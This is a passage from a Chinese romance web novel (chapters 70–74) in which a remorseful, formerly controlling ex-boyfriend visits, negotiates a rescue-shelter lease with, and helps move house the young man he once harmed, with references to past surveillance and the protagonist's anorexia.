贺越邱一回过神,连忙道:“没有!你想什么时候来就什么时候来,想不来也没问题,我只是……只是……” 他的声音说到一半就有点哽咽,眼睛也红了,反倒把甄甄给弄得有点不知所措,好像他那句话有多伤害人一样。 他们彻底不再见面不也就才过去快三个月吗,贺越邱什么时候变得这么脆弱了,自己随便一句话就有这么大的影响力? 而且这眼神也实在太炙热太直白了,甄甄被贺越邱那股渴求到极致的目光弄得很不舒服,就好像他被扒光了衣服给人看一样。 贺越邱这会儿不想死了,眼睛不眨地看着甄甄,无比贪婪地嗅着他周身的空气,只想永永远远都能这么看着他,和他挨得这么近。 他现在特别高兴,一点也不觉得哪里痛。贺过岭果然是来挑拨离间的,他的甄甄明明这么善良,这么心软,他为了救他被狗咬进手术室,他怎么可能丢下自己不管,连面都不露? 想到昨天那场意外,他的眼睛里又充满了急切,想抓起甄甄的手仔细检查,但只是刚动了动手指就又硬是压下这股念头,只是紧张地上上下下扫视着面前的人。 “我一听见你叫就马上过来了,我也不知道你有没有被咬,摔那一下没摔疼吧?有没有吓到?要不然拿点安神的药,你胆子那么小,别吓出个好歹来。” 他一连串的问题,甄甄一时都不知道该回答哪个:“那两条狗不知道哪里来的,一看到我牵着胖胖就扑上来要咬它,我没事,没被咬,穿得厚也摔不疼……” 甄甄止住声音,不对,他不是来探望病人的吗?怎么好像颠倒了? 贺越邱还在问他:“你来这么早,那早饭吃没吃?我看你瘦了好多,你平时也没好好吃饭吗?……” 贺越邱有好多好多的话想问,这些日子他在心里憋了太久,几次都快要支持不下去了,终于,终于又让他有了可以说出口的机会! 甄甄根本插不上嘴,只好听贺越邱说,渐渐地他也说完了,病房里就又安静下来。刚见面的激动和惊喜褪去后,横亘在两个人之间那堪称惨烈的过去开始发挥作用,让他们都沉默了很久。 有什么东西在静静地流淌,甄甄垂眸看着地面瓷砖的花纹,耳尖忽然一动,竟然听见了一道压抑又沙哑的哭声。 他愣了下,抬头看清楚是谁在哭后,眼睛里流露出吃惊。 “你……” “我很想你。真的…很想很想。” 甄甄也不是第一次见贺越邱哭,尤其是在方寸行家里那一次,他再也没见过比那更激烈、更绝望、也更愤怒的眼泪了。可这一回又不一样,没那么歇斯底里,连语气都平常到甚至没有太多起伏,却偏偏让他的心跟着颤了一下。 贺越邱好像意识不到自己在哭,他还在对甄甄笑,他怕不笑的话,看起来又会很凶,会把他给吓到。 “你还愿意来探望我,不管是什么原因,我都很高兴,这是我这么久以来最高兴的一天。” 甄甄张了张嘴,又不知道该说什么。 “我以为你永远都不愿意再见到我了呢……”贺越邱声音低下去。 甄甄竟在他脸上看见一种小心翼翼地,甚至到了害怕的表情,他认识的贺越邱要风得风要雨得雨,说什么就是什么,从来都是别人看他的脸色,什么时候像这样过? 他知道这样的变化是因为自己,贺越邱的近况看上去糟糕透了,他本来应该觉得开心才对,毕竟这人之前把他都快逼到绝路上了。有那么几次,他真的恨他恨得想让他去死。 可当甄甄发现贺越邱真的过得不好时,他那些偏激的想法偏偏又全都消失不见了,他出自本能地同情和可怜这个男人,多可笑的一件事啊—— 贺越邱这样的人,有朝一日居然也会让人对他产生同情和可怜的感情。 他不是那么高高在上,不可一世,不把真心当一回事吗?怎么现在他自己又捧着一颗真心,祈求他能纡尊降贵地看一眼? “你是想复合吗?”甄甄突然问,他觉得贺越邱就是表演型人格,他这样做,肯定是有什么目的。 贺越邱似乎很痛苦地闭上了眼,他往后靠着,泪流满面,急促喘气。半晌,才缓缓睁开,眼神痛苦而又挣扎。 “……我当然想。我每天每夜,每时每刻,脑子里想的,心里念着的,满满当当地都是你。” “我不会跟你复合的。” 贺越邱惨笑一声:“我知道。可我救你,跟你说这些的时候,排在我心里第一位的想法,不是这个。或许我曾经为了这个目的而不择手段,给你带去很多伤害,但以后真的不会了,你要怎么才肯相信我。” 甄甄眼睛里流露出的警惕和疑虑如重锤般砸在贺越邱心脏上,让他尝到了自作孽的味道。 他想起来,这个人以前是全心全意地信任着他的,无论他提出来什么要求,有多过分,再害怕也乖巧地任由他施为。是他一次次的谎言个欺骗,毁了这一切。 越想,贺越邱就越心痛,他弄丢的是对他而言最重要的东西。 “那个账号,我已经注销了,给你拍的那些视频和照片,也全都销毁了。我没办法回到过去改变这一切,告诉你这些也不是有任何图谋,更没有骗你,我只是想让你安心。” 那些刻意回避的记忆随着这番话又重新被曝光在太阳底下,心脏疼得厉害,可甄甄知道他不能一直逃避,他努力让自己可以直视贺越邱的眼睛,去寻找他说谎与否的证明。 贺越邱被这样的视线刺得体无完肤,他只觉得就算凌迟也不过如此了,他如绝境中的困兽般呜咽了一声,声音颤抖地祈求道:“你相信我一次吧……我真的不会再骗你。” 我再也不敢骗你。 70-80 第71章 第 71 章 长谈。 甄甄用很奇怪的眼神看着贺越邱:“我一没打你, 二没骂你,你怎么表现得好像我多欺负你似的?” 贺越邱的笑容中只剩苦涩和自嘲:“你没有。我巴不得你打我骂我,那我心里还会好受一点, 偏偏……“甄甄连这样的机会都不给他。 “那是没分手才会做的事, 我都跟你分手了, 一点关系都没有, 我还浪费时间精力教训你干什么?” 贺越邱知道甄甄不是故意说这种话来气人, 他只是语气稀松平常地说出来一个事实,但他现在不想听实话。无论他们分开多久,他都不愿意接受现实。 闷了半天,他才憋出一句:“是我不好, 你别生气。” “我没生气。我现在过得还不错, 有清闲的工作, 还能养一堆毛绒绒的宠物, 每天不开心就撸撸猫撸撸狗,厌食症也在努力克服。刚分手那段时间我状态确实很糟糕,一度有过很偏激的想法, 但人活在世上少有一帆风顺的,哪怕是你也总有跌跟头的时候, 不就是谈个恋爱又失恋了吗?我还能要死要活一辈子啊。” 甄甄的语气很平静,连表情都少有怨愤。他的脸上是一种经历过后又看透的释怀,使得他生动漂亮的眼睛里始终萦绕着一种淡淡的忧郁, 如同给一张干净漂亮的信笺写上优美的花体字, 让原本简单纯粹的美丽更添了几分复杂,变得更加吸引人的视线并为之深深着迷。 贺越邱看得目不转睛的同时,心口也连绵而持续地疼痛,他宁可甄甄从未受到过那些伤害, 却早已追悔莫及。 “我之所以来看你,也是想直接告诉你,我没有你想得那么可怜和一蹶不振,你不用总怀着一种想要弥补我之类的想法。我不需要这些怜悯,也不恨你,比起相互纠缠争执究竟谁对不起谁,我更希望我们各自过好各自的生活。一辈子还很长,谁也说不准,也许你还会遇到很好的人。” 甄甄没有说更好的人,因为他觉得应该没有人比自己更好了,贺越邱错过他是事实。 贺越邱定定地看着眼前的人,虽然仍旧偏执,但眼神中没有怨怼和不甘,他心里说这辈子他不会再遇到除了甄甄之外的人了,但并没有将这话说出来。他知道甄甄不会想听。 他用目光一寸寸地描摹着少年的五官和轮廓,放纵自己幻想他们还像以往那样在一起,从来没有发生过那些事,也没有分开过。 江山易改本性难移,贺越邱还是一听见分手之类的字眼就痛得发狠,恨不得用嘴堵住这些话,再用极端偏激的手段把想离开他的人绑在自己身边,一遍遍地骑在他身上让他感受到是谁在占有,可太过惨痛的失去已经让他牢牢地记住了这样做会有什么代价,他要把这些肮脏的、见不得人的心思全都深深地压在最底下,再也不显露出来半分。 我不能吓到甄甄,他想让我做什么,我就做什么。贺越邱这么想着,眼睛里如狂风巨浪般翻涌的情绪也渐渐平复,再也不像以前那样容易失控。 甄甄有些惊讶地扫了男人一眼,他其实也是抱着一点试探的心思说这些话,就想看看这人还会不会和以前一样,刚说出几个字就怒不可遏地打断,表现出让人难以喘气的控制欲和高高在上。如果是的话,那他肯定得再想办法,要么又狠狠地教训他一次,要么回去后就马上搬家,这次他会走得更快更远。 但让他没想到的是,贺越邱从头到尾,除了难过到极点时哭过一次,其余时候都顺从听话得不得了,就像一头凶性难改的野狼被拔掉爪子、敲掉牙齿,从此再也无法伤人。 他惊诧于贺越邱的改变,不过这样总比以前好,看这表现,他也就安下心,放弃了要搬家的打算。 病房里的气氛更和谐了几分,甄甄也不提那些话了,就当自己单纯只是来探望病人,还从带来的果篮里挑了个苹果削皮递过去。 贺越邱如同捧着什么稀世珍宝般捧着那个苹果,这是甄甄给他削的,他可舍不得吃。 “还是要谢谢你,不然现在躺在这里的人可能就是我了——可能还要再加上胖胖。” 贺越邱的视线又忙从苹果转移到甄甄脸上:“你不用说谢谢,不管有什么危险,我都会挡在你前面。” “你那么快就出现,早就知道我新住址了吧?” 面对甄甄审视的目光,贺越邱撒谎的心思都不敢有,撇开眼道:“知道……但我真的没想过要纠缠你,只是那天过年,我实在想看到你,所以才远远地看几眼。” 甄甄心里门清他肯定不可能只来过一回,但想到这么久自己也从来没发现过,就当没有这回事,只是加重语气,警告道:“你不要来骚扰我,如果让我发现你还跟以前一样,我肯定……” 贺越邱不想让他说出来,急忙打断:“我跟你保证不会!你……不要再找贺过岭好不好……” 说到后面,他声音又渐渐低了下去,眼睛也垂下了。 甄甄注意到他放在被子上的手,原本劈裂的指甲已经长好了,那原来是一双修长有力的手,现在却变得有些崎岖。 想到那次,甄甄心脏一沉,也闭了闭眼:“……不会。” 贺越邱一愣。 甄甄睁眼,逐渐清明:“我那天会停下来,不是因为你以死相逼,是因为我不能接受为了报复你而把自己搭进去。无论是谁,都不值得我这么做。” 贺越邱又开心又难过,他不敢接着问那除了报复,如果是遇到合适的人,又会不会和那个人在一起,做只有跟自己做过的亲密的事。如果是以前,他一定嗤之以鼻,根本不会有丝毫动摇,可经历过贺过岭那一次后,他却再也不敢肯定,很多次噩梦惊醒,他都恐惧于自己看到的画面。 甄甄又待了会儿,随即起身:“那我先走了,你自己好好养病,没事别来找我,不想看见你。” 直白又刁蛮,说话伤死人,可贺越邱喜欢得不得了。 他炙热而不舍地看着甄甄,巴不得他再多说几句这样的话,就像以前一样,要有多娇蛮就有多娇蛮。 甄甄要是知道贺越邱心里是这么想的,保管张嘴就骂变态,哪有人上赶着希望别人颐指气使地对他的? 真是踹一脚都怕他抱着舔上来! 甄甄回去后就没有再去探望过贺越邱,他觉得这次谈话很顺利,该说的也都说得清清楚楚,以后他就要彻底扔掉从前的旧人旧事,奔向崭新美好的生活了。 回家后没两天,宠物公司的自动喂食器样品就寄了过来,甄甄试用了几天,发现各项功能都还不错,又根据实际使用情况提了几个小建议,对面也愉快地表示都记录下来了,会反馈到生产线上再改进一下。 这个推广谈下来后会有小几万的收入,算是他做自媒体三个月以来唯一的大额收入,虽然比起来之前做模特时稍显平庸,但想想看他除了需要每天自己想脚本拍视频剪视频之外,也没有投入太多,这回报率已经很高了! 甄甄很容易知足,有广告收入,他就更不考虑接那些垃圾推广和直播带货,也敢把存款拿出来把小院再好好收拾一下,再多救助一些流浪动物。 他渐渐忙起来,每天除了要拍视频,还要给院子多搭几间猫屋,同时出门的频率也加高了,半个月里又捡回来五六只冬天里活不下去的流浪猫。 他的视频流量也越来越高,点赞开始稳定在二十万以上,来了一些很不错的品牌接触。不过为了保证质量,甄甄还是会挨个试用过后再决定要不要接,他还是坚持认为连自己都不用的垃圾绝不能推给粉丝。 到开春时,甄甄的账号收入已经达到一个相当可观的数据,虽然比做模特时稍微差点,但相对来说也没有那么累——这工作说出去光鲜,可真要一整天不断地拍下来,那也够呛。 而自媒体自由度就很高,尤其甄甄选的还是自己喜欢的、想要做的领域。只要有粉丝,只要有流量,就会有源源不断的好的坏的推广找上门,这还是在他筛选过、并没有太频繁接单的情况下。 至少到现在,甄甄不再需要为收入而发愁了,不过因为家里宠物数量在渐渐增多,怕影响到周围邻居,加上想要给这些小家伙们一个更好的生活环境,他也在考虑要不要换个更大的地方。 某天给三花喂罐头的时候,甄甄忽然想起了之前跟贺越邱还在谈恋爱的时候,他为了讨自己开心在郊外租的一块地,那里也收留了几十只流浪猫狗,还专门雇了人照顾。现在他们分手了,他总不能还一直把救助基地甩给贺越邱。 甄甄想了想,干脆搬到那里,这样素材也多,他可以不止拍日常和救助,还能再加一个打造猫咪乐园的栏目,能够接到的推广也就不会只局限于宠物相关。 他想到就要做,把这个想法告诉给了贺越邱,打算把租赁合同转到自己名下,以后就由他来付那块地的租金和后续维护费用。 甄甄其实还有点担心贺越邱死性不改,会拿这事儿提一些过分的要求,本来打算见一面详细谈谈,但没想到他这么快就上门来了。 上午的电话,中午就开着车,满脸喜气洋洋,仿佛接亲一般西装革履地站在小院前。 甄甄瞅他一眼,“你搞这么正式干什么?” 贺越邱已经很久没有这样发自内心地快乐过,近乎贪恋地低头看着一心念着的人:“我来谈一笔大生意。”—— 作者有话说:开始做牛做马吧[哦哦哦] 第72章 第 72 章 改变 甄甄稍微无语了一下:“你们贺氏那些分分钟几千万上下的生意才是大生意。” “你值很多个几千万。” 放以前甄甄听贺越邱这么说早就又羞又开心了, 现在他只觉得肉麻得过分,鸡皮疙瘩都掉了一地。 “我们是前男友,你说这话合适吗?” 贺越邱倒是够厚脸皮的:“事实不以分手为转移。” 甄甄多看了他几眼, 这是平时被自己打击狠了, 所以现在听见分手啊前男友什么的字眼终于不发疯了?甚至都能自己亲口说出来了! 嗯……这算改造成功了吧? 贺越邱被他看得心神荡漾, 见甄甄抬脚要走, 叫住他:“你去哪儿?” 甄甄一脸看傻子的表情:“找个能谈正事的地方啊, 你难不成还想跟我进院子?我这里至少养了十几只猫,两只狗,你不是对动物过敏吗?不怕一进去就被放倒?” 一提起来这个,甄甄就想起贺越邱有一次在病房里大喊大叫地闹事, 结果被巴掌大的小狗碰一下就仰头栽倒, 忍不住笑出了声。 贺越邱不知道自己正被嘲笑, 他只觉得会笑会吵的甄甄是那么生动活泼, 和那段时间消沉的他完全不一样,看得人舍不得挪开眼。 他看着看着,也跟着笑:“没关系, 我来之前吃了抗过敏药,进去没事的。” “真的?过敏可不是闹着玩。” “真的。” “好吧。” 甄甄把院门打开, 而贺越邱也终于在远远地看了几个月后,得以被正大光明的邀请进入这个他渴望却又不敢未经允许擅自踏足的小院。 虽然已经或近或远地打量过很多遍,这小院里每一颗鹅卵石怎么放、每一根草怎么长……贺越邱都早已了然于心, 但只在外面看和真正走进来是不一样的, 这对他而言就是某种信号,让他为之振奋。 他一边扫视着周围的一切陈设,一边注意看路免得因为太激动而出丑。 甄甄走在前面,贺越邱稍微落后一点, 他们刚跨上台阶,大门里就窜出来一条又肥又黄的东西,扑到甄甄脚边就开始嗅闻甩臀,另有几只已经长大不少的小猫也跟着咪咪喵喵叫个不停。 贺越邱如临大敌般防备着这些常人看来可爱的小东西,虽然提前吃了抗过敏药,但从小到大根植在心中的忌讳还是让他发自本能地想要远离。 可看一眼前方那道清瘦的背影,他又咬咬牙,硬生生控制住自己没有往后退,强制自己必须克服这种心理恐惧。 不过贺越邱适应了一会儿后再看那些毛茸茸的小东西,他又没那么视作洪水猛兽了,等跟着甄甄进到客厅,坐下沙发,这么长时间也没感觉到有过敏发作的迹象,也就安心下来。 小猫们一看到高大的陌生人类转头就跑开了,柯基很乖,一直守在甄甄身边,他站着就转来转去,他坐着就趴在脚边。 贺越邱生平头一次能和宠物离这么近,详细地打量了一番:“好肥的狗。” 柯基猛地抬头,听不懂,但感觉不是什么好话。 甄甄顺手摸了一把,捏捏狗肚子上软乎乎的肥肉:“好像是应该减肥了。” “这么短的腿,能跑得快吗?要看家护院的话,我送你只狼青或者杜宾之类的?”贺越邱这种个性的人,他是养不了宠物,能养的话也都会养和他外表与气质相符合的猛犬。 柯基冲贺越邱不满地汪汪叫了两声。 甄甄摸摸狗头:“我们胖胖可厉害了,是不是呀?” 柯基回头,扬起黑亮的鼻头,咧开嘴拉出一道向上的弧度,吐着长粉舌头。 “真乖。”甄甄又表扬了它。 贺越邱总觉得自己好像被内涵了。 “咳,我把租赁合同带来了。”他清清嗓子,谈起正事。 他带了公文包来,从里面拿出一份合同,甄甄接过仔仔细细地看了两遍,不得不承认这人有心的时候是真挺有心的,一个宠物过敏的人就为了哄男朋友开心能每年都白送出去一笔钱,收养那么些流浪猫狗。 “你是长租了二十年,一次性付清的租金,但我现在手上没那么多现金,能不能另起份合同,每三年一付?” 贺越邱其实特别想说你不付最好。 甄甄好不容易主动联系他说想要那个救助基地,他巴不得直接双手送上去。 可他心里又跟明镜似的,甄甄现在把两个人之间的距离划分得很清楚,摆明就是不想再沾上关系的意思,他如果真提出来白送,只会惹得甄甄不开心。 贺越邱暗自叹了口气,心里想着要是甄甄肯接受自己的补偿就好了:“当然可以。如果你暂时没那么流动资金,一年一付也行。” 最后还是没忍住,又说了句:“这个救助基地本来就是因为你才会存在的,你想拿它做什么都没问题。” 甄甄就当没听到后两句话:“那就先说定了,过几天我搬过去。” “你要搬家?!”贺越邱反应稍大了点儿,他多多少少有点心虚,还以为是甄甄发现了自己的一些小动作,忍不住辩驳道:“我虽然知道你住哪儿,但我从没想过要纠缠你,你相信我。” “我又没说是因为你。”甄甄小小地翻了个白眼,贺越邱现在这患得患失的劲儿到底跟谁学的,“我收留的这些小猫都长大了,这院子有点太小,住不下,干脆搬去城郊和救助基地并在一起。” 贺越邱眼底亮光一闪而过:“那这里?” “我只租了半年,正好退租。” 贺越邱和甄甄商讨着那块地的事,心里已经想好等甄甄一搬家就把这里租下来了。他四下打量过,这到处都是甄甄生活过的痕迹,比那套冷冰冰的市中心大平层更强。 把转让条例一条条都说清楚后,已经是中午。 甄甄停下话头,看着贺越邱。 后者摸了摸脸。 甄甄还在看。 贺越邱克制住激动,也用舔舐般的目光一点点扫过对面的人。 也不知道是真看不出来还是假看不出来,见这人收不到自己的暗示,甄甄只好挑明:“事情已经谈妥了,你不回去吗?” 贺越邱:“确实不太想回去……你吃过午饭了吗?冰箱里还有菜没,我给你做午饭。” 甄甄不太客气地说:“我知道你心里想什么,别得寸进尺。” 贺越邱想说冤枉,他真的只是想给甄甄做顿饭,他每次看见都觉得甄甄要比上一次更瘦,那截腰本来就细,以前按上去的时候稍微用力点都会留下痕迹,现在更是好像一碰就会折断的样子,看得他心里很不是滋味。 但他也不想惹甄甄生气,马上说:“好,我这就走,你记得要吃午饭,自己不想做就点外卖吧,不要总饿着自己。” 甄甄本来都做好了又要费一番唇舌的准备,却没想到贺越邱说走就走,连言语上的纠缠都没有,这让他不禁侧目。 直到把贺越邱送走,屋里又安静下来,只有小猫们玩耍的声音,甄甄才坐下来思索,他想自己的感受并不是错觉,贺越邱好像真和以前不太一样了,但一个人的性格真这么容易改变吗? 甄甄也没过多纠结,不管是发自内心地改了,还是在装大尾巴狼,贺越邱愿意收敛起那副唯我独尊的个性是最好,能给他少找很多麻烦。 当天晚上他就开始收拾行李,他自己的随身物品其实不多,主要是这么多只猫狗,光航空箱猫包等就有十来个,排在一起看上去还是挺占空间的,就更别说它们那些大包小包的猫粮啊罐头之类的,更是堆满了客厅。 搬家那天,甄甄本来想叫货拉拉,结果一早起来往窗子外看,院门口就已经站着个人高马大的人了。 甄甄刚醒还有点迷糊,打哈欠揉眼睛,看得没多清楚,但几乎不用仔细看,他就能肯定那肯定是贺越邱。 甄甄也没立马就跑去给他开门,先自己洗漱了,又喂了粮、铲了屎,忙完手头要做的之后才像只慢吞吞的蜗牛一样朝那个已经等了很久的男人走过去。 “你来干嘛?”可能刚起床没多久,清越的少年音里还夹带着一丝沙哑,听起来别有一番味道。 甄甄穿着斑点狗睡衣,一头栗色微卷的头发稍有些凌乱,脑袋上还顶着一撮呆毛,人也懵懵的、软软的,从上往下看,能看见他深凹下去的锁骨和一整片白皙的胸膛。 贺越邱恍惚了一下,这样刚睡醒的甄甄是那么熟悉,当他满脸困意揉着眼睛向自己走过来时,就和从前每一次他向自己走过来一样。那短暂的两分钟时间里,贺越邱完全沉溺了进去,还以为他们之间什么也没发生过,仍旧是无数个平淡而又温馨的早晨的其中一个。 不过当甄甄走近后,可能清醒过来了,想到院外的人不请自来,他立刻换上一副戒备的模样,刺得贺越邱回归现实。 甄甄随意瞥了眼:“不穿你那人模狗样的西装了?” 贺越邱一身方便行动的日常衣服,对他露出一个堪称温柔的笑容:“我来帮你搬家。” 第73章 第 73 章 千万不要原谅我。 甄甄第一眼就觉得贺越邱那笑容里不怀好意, 转身就走:“不用了,我可以叫搬家公司来帮忙。” 贺越邱稍微往前一步,提高声音说:“搬家公司要钱, 我不要钱。” 他又指了指对面停着的一辆皮卡:“我连车都准备好了。” 免费的劳力? 甄甄又停下脚步, 回头打量这家伙的体格, 宽松版型的休闲装都遮不住那些形状饱满的肌肉, 一米九多的身高让不矮的他也得稍微抬眼睛才能看清楚, 光看这结实的身材,那确实一个抵两个搬运工。 想了想,甄甄问:“你这次也吃药了?” “嗯。” “搬完家就走?” “不打扰你。” 甄甄勉强同意,拉开半人高的院门:“行, 那你进来吧, 听我指挥, 别乱动东西。” 贺越邱压下雀跃的心情, 比柯基还殷勤地亦步亦趋地跟在甄甄身后,已经暗暗下定决心要好好表现。 “这里、这里——先把这些搬走吧。”甄甄指着那些放好小猫的航空箱,自己则拖了个行李箱。 为了转移时让小猫们暂住得舒服, 甄甄的每个航空箱都买的最大号,连猫带箱子一个至少七八斤, 贺越邱一手提两个,面不改色又效率极高地就把十来个航空箱分五趟搬到了车上,按甄甄的要求挨个摆好了。 “我自己没多少东西, 锅碗瓢盆和电器之类都是原房东的, 我这里主要就是宠物用具比较多。”甄甄说着,把贺越邱带到存放猫粮猫砂的仓库里。 猫粮猫砂动辄十斤,摆满了几个货架,贺越邱二话不说就开始搬。 三四月份天气还有点凉, 他搬到一半却热起来,把卫衣脱了系在腰上,只穿着一件黑色背心,走动间露出精壮流畅的肌肉线条。 他每次搬着东西从甄甄面前经过时,因为用力,肌肉下的虬结青筋便会像活龙一样一鼓一鼓地跳动,扑面而来从身体里蒸腾出的热气。 这熟悉的场景和人物让甄甄隐隐有种不妙感,偏偏贺越邱又微含着背、收紧腰腹,汗湿的黑背心下是形状明显的八块腹肌,擦着汗水朝自己走过来:“我有点渴,有水吗?” 不对不对不对—— 甄甄忙把那些奇怪的经典剧情从脑子里甩出去,他怕自己脱口而出就是‘您先请坐我去给你倒杯水’、‘我丈夫不在家真是麻烦你了’之类的台词。 面对贺越邱略微带点疑问的目光,甄甄板着脸,冷冰冰地去接了杯冰水塞他手里,强烈怀疑这就是场阴谋! 阴不阴谋的贺越邱不知道,他抬起头把那杯水一饮而尽,只觉得五脏六腑都被甘露浸润了,爽快得他心里都发痒。 他把纸杯捏得皱成一团,毫不掩饰极具侵略性的目光,紧盯着甄甄湿润微粉的唇瓣,那薄唇上的湿亮水光看得才刚喝了杯冰水的他口干舌燥,有什么滚烫的东西就要喷薄而出。 甄甄紧张而无意识地舔了下嘴巴,随即就感觉到那种危险似乎又提高了一个层次,让他忍不住产生一种想要转身逃离的冲动。 这种危险来自谁也不难猜,屋里就两个人,难道还能是胖胖? 甄甄立刻警告道:“把你那种恶心的眼神收起来,别拿眼睛强/奸我!” 贺越邱立刻收敛,并为自己辩解:“我没有,我离你两米远,干活也干得这么勤快。” 甄甄冷笑两声,一指院子里的实木猫爬架:“把这个也搬上去!” 贺越邱马上就过去搬,百来斤的东西搬了五六趟,甄甄也不给他休息的时间,马上又让他去搬那些猫屋猫玩具之类的东西。 甄甄叉着腰,就站在院子里指挥,不时还嫌贺越邱笨手笨脚,折腾到最后……连他自己都觉得他好像一个挥舞着小皮鞭的奴隶主,正狠狠地鞭笞着可怜的奴隶替自己卖力。 贺越邱乐在其中,一趟趟地搬,不过到后面也有点力竭,偷瞄着甄甄缓和的表情,尽量表现得很正常:“我有点饿,还出了一身汗,能不能先冲个凉,再去做饭?” 不等甄甄拒绝,他马上又说:“等会儿还得开车,到地方后还得下货呢,休息不好的话干不了活。” 虽然这男人本质上是个畜生,但畜生干活是挺好使的,甄甄勉强同意:“那你去吧,浴室在里面,不过不用你做饭了,我点外卖。” 贺越邱自动理解为甄甄心疼自己,不想搬了一上午东西的他还要再劳累下厨,美滋滋地哼着小调去冲凉了。 等他进去后甄甄才突然反应过来,顿时懊悔得想把这搬运工拉出来,那间浴室是他常用的,他应该让这家伙到另外一间的! 但听着里面已经传出来的水声,他也不好再过去叫人,只能气鼓鼓地往沙发上一坐,掏出手机决定把给贺越邱点的外卖从三十元档次的降级为拼好饭! 甄甄挑外卖都挑花了眼,纠结来纠结去最后点了一份黄焖鸡米饭,又习惯性地躺倒在沙发上玩手机,躺累了就翻身趴着,腿也闲得慌一样一会儿勾着一会儿来回打着沙发,最后等外卖都到了,眼看都快凉了,贺越邱居然都还没出来。 他这才意识到有哪里不对劲,以前晚上要睡觉的时候他催贺越邱去洗澡,这家伙不是每次最多洗个十分钟就急吼吼地出来要抱着自己动手动脚了吗?今天怎么快一个小时了都还没动静?难道早就出来了,可明明一直都有水声啊! 甄甄快步走到浴室门口,看到里面朦胧的站立的高大影子之后心里稍松了口气,他还以为这畜生因为被自己压榨得太狠累倒在里面了呢。 不过开口时语气又变得有些凶狠:“喂,你怎么这么久都没出来?还吃不吃饭了,不吃我倒掉,别耽误时间,我还等着搬家呢!” 影子突然停顿了一下,随后更快地动了起来,传出的低沉男声掺杂着一种明显的沙哑:“就快了,马上。” 甄甄听得耳朵一红,同床共枕四年多,他还能听不出来这畜生现在正干嘛吗? 果然他就不该把这人放进来,还好今天就搬家了,不然以后他都不知道该怎么用这间浴室了! 甄甄气得踢了一下浴室门:“搬完家你就给我滚,再在我面前晃来晃去没你好日子过!” 听见甄甄生气,贺越邱加快速度,五六分钟后终于裹挟着一身水汽走出来,因为没来得及怎么擦干,头发都是湿漉漉的往下滴着水,满脸餍足的神态。 甄甄看得真来气,一脚往他小腿上踹:“谁让你用我的沐浴露了!” 贺越邱吃痛,但没敢喊出来,站着不动让甄甄踹,带着点讨好的笑容哄道:“一身汗臭味,不用沐浴露洗不干净,里面的洗漱用品我都给你装好了,一会儿带上车里。” 甄甄怒瞪他一眼,转身就走:“不要了!” 鬼知道他的沐浴露和毛巾都被怎么糟蹋了! 贺越邱却如获至宝,心想是甄甄主动不要的,他再接着用就不算偷了。 他也跟上去,不时抬起手臂闻了闻,果然是和甄甄身上一样的味道。 客厅茶几上放着一份国潮包装的外卖,贺越邱左看右看没看到第二份,腆着脸又去问甄甄:“午饭没我的吗?” “那个就是!” “那你呢?” “我吃过了!” “那就是没吃。” “关你屁事!” 甄甄懒得再跟贺越邱掰扯,他觉得自己现在每多说一句话都好像在给这家伙释放什么讯息一样,他可不想让这人误会什么。 贺越邱看着甄甄离开的背影,刚热起来的心又渐渐冷下去,他也不明白为什么甄甄对自己的关心就像防备洪水猛兽一样,次次都恶言相对拒之门外。 他想说自己没有别的想法,只是希望甄甄能对自己的健康上点心,可话到嘴边又说不出口,因为这糟糕的现状本就是他一手造成的,始作俑者哪来的立场和资格再说这些呢? 心脏闷闷地疼,又是那种熟悉地喘不上气的感觉。 贺越邱慢慢低下头,隐入阴影的眼睛里浮动着晦涩地暗光,不是滋味地打开了那看着就廉价的外卖包装,刚吃第一口就恶心得差点吐出来。 他从小到大不说龙肝凤胆,世上能吃的珍馐佳肴基本算是吃了个遍,什么时候吃过这么难吃的东西,食材不新鲜一股工业香精味不说,还放冷了,饭都硬得难吞。 贺越邱吃得胃里一阵阵犯恶心,从始至终都皱着眉头。他本来想直接扔了,可转念又想到甄甄因为那个病,吃东西的时候会不会也是这种感受,明明很饿,可只要吃进去一点东西就会浑身难受得想吐出来,却又为了保持基本的能量需求而不得不忍着这种难受逼着自己进食。 这么想着,贺越邱忍住胃里的翻涌,一口口把那些难以下咽的冷饭冷菜都吃光了。收拾的时候胃里突然一缩,又急忙跑到卫生间对着马桶把刚吃进去的东西吐了个干干净净。 他以前碰上不得不应酬的酒局喝多了也会吐,他知道呕吐的感觉不好受,但那些时候基本都没什么意识了,酒醒之后就不记得。 但现在他是清醒地感受到胃部的抽搐和喉间刺激呛鼻的感觉,每一次往外吐的时候都几乎不能呼吸,五脏六腑也跟着缩成一团,随着发力的动作紧逼着要他把胃液都给吐出来才行。只要胃里还有一点东西,他就难受得想立刻去死,只有全吐出来才能松一口气。 呕吐本身并不疼,可那种滋味是真的不好受,尤其是眼睛看着那些脏东西、鼻子闻着那些刺激性的味道,人就会不自觉地窘迫和愤怒。 贺越邱吐得昏天黑地,真真切切地感受了一回,把胃里的东西都吐完后他才舒服点。 他按下水龙头,重复地漱口,把嘴里泛苦的那种感觉冲掉,又洗了洗脸,手撑开在洗手台上,神智慢慢清醒过来。 “我这下算知道你生病有多难受了……”镜子里的人无意识地低喃。 可他真的切身实际地感受到了吗? 他这只不过是偶尔一次,而甄甄在遇到自己之前就已经有厌食症了,甚至在遭遇那些事后症状加重了很多。他也不是没有在偷装的监控中看见过,那时也心疼得无以复加,却根本不懂那到底有多痛苦,直到现在他才终于感同身受,恨不得杀了自己拿这条命去换一个健康的身体给甄甄。 不……根本就感同身受不了,他现在吃的这点苦、遭的这点罪,不过甄甄的十分之一甚至百分之一。他想起死缠烂打那阵,自己都恨,他到底有什么资格去祈求原谅。 贺越邱对着镜子,喃喃自语道:“你千万不要原谅我,我应该赎一辈子罪。” 第74章 第 74 章 核动力牛。 不知道是不是错觉, 贺越邱开车时话没之前那么多,一路都挺安静的,识相得让甄甄都怀疑他会不会是以退为进, 还有其他幺蛾子等着自己。 或者就是生气了?觉得一片好心来帮忙, 自己却没给他好脸色, 所以面子上挂不住? 反正不管什么原因, 甄甄都不打算改变自己的态度, 贺越邱不主动开口,他也就沉默地抱着手看窗外风景——甄甄其实也不是故意想对贺越邱恶言相对,他愿意来帮忙打下手也挺好的,只是他不希望因为自己的些许退让就令这个人误会些什么。 贺越邱不知道甄甄的想法, 他要是知道, 肯定马上就要开口解释说自己不是生气。 他其实是觉得愧疚。 伤心让人嚎啕大哭, 愤怒让人大吼大叫, 难过让人想要倾诉,唯独愧疚会压得一个人喘不过气,也说不出话。 他的心情早已不似刚来时那么欢欣雀跃, 像系了颗铅球般沉沉往下坠着,甚至连看一眼就坐在副驾驶的甄甄都不敢。他很怕, 